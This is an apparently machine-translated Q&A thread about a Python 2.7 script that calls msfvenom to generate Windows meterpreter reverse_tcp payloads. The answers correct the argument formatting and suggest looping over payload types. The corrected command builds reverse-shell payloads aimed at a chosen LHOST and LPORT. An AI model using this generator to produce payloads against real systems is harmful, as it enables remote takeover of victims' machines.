2016-08-02 22 views
1

我試圖用Python 2.7.12創建一個Metasploit負載生成器。它使用msfvenom產生許多惡意有效載荷。在Python中傳遞命令行參數時將字符串附加到字符串中2.7.12

首先我使用%s%d格式運算符。

call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s", 
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost), 
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop)) 

此錯誤返回

/usr/bin/msfvenom:168:in `parse_args': invalid argument: -i %d 
(OptionParser::InvalidArgument) 
from /usr/bin/msfvenom:283:in `<main>' 
Traceback (most recent call last): 
    File "menu.py", line 74, in <module> 
    call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s", 
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost), 
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop)) 
TypeError: unsupported operand type(s) for %: 'int' and 'str' 

我能夠理解msfvenom無法解析我傳遞參數,這是迭代標誌,-i。之後,我看到Python的一個錯誤,TypeError

進行一番研究,我決定使用.format(),因爲

call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={0}", 
"LPORT={1}", "-e {2}", "-i {3}", "-f {4}", "> {5}.{6}"]).format(lhost, 
lport, encode, iteration, formatop, payname, formatop) 

返回

AttributeError: 'int' object has no attribute 'format' 

我應該怎麼辦?也有反正我可以優化我的程序,而不是複製和粘貼同一行,並更改15個選項的有效載荷類型?

+1

您需要在字符串上調用'format',即''值爲:{}「。format(1)' – maxymoo

回答

0

你不能在call(...)結果使用format 。你應該格式化每個組件:

with open("{}.{}".format(payname, format), 'w') as outfile: 
    call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={}".format(lhost), "LPORT={}".format(lport), "-e", str(encode), "-i", str(iteration), "-f", str(format)], stdout=outfile) 

注意,重定向替換爲明確打開的文件,因爲除非你啓用不安全shell=True參數subprocess.call不會傳遞到外殼。使用不同的有效載荷多次重複這一點很容易:使用有效載荷創建一個數組,然後將此代碼放入一個循環(或者,也許更清晰,一次調用一個有效載荷的函數)。

-1

一個好的技巧是使用split你的命令打造了傳遞給call名單,這將使變量替換清潔過:

call("msfvenom -p windows/meterpreter/reverse_tcp LHOST={0} LPORT={1} -e {2} -i {3} -f {4} > {5}.{6}" 
    .split().format(lhost, lport, encode, iteration, formatop, payname, formatop)) 
+0

它應該是shlex.split:https://docs.python.org/2 /library/shlex.html – Owen

+0

這是否適用於Python 2.7.x?返回的錯誤:'AttributeError:'list'object has no attribute'format'' – UncleAlan

相關問題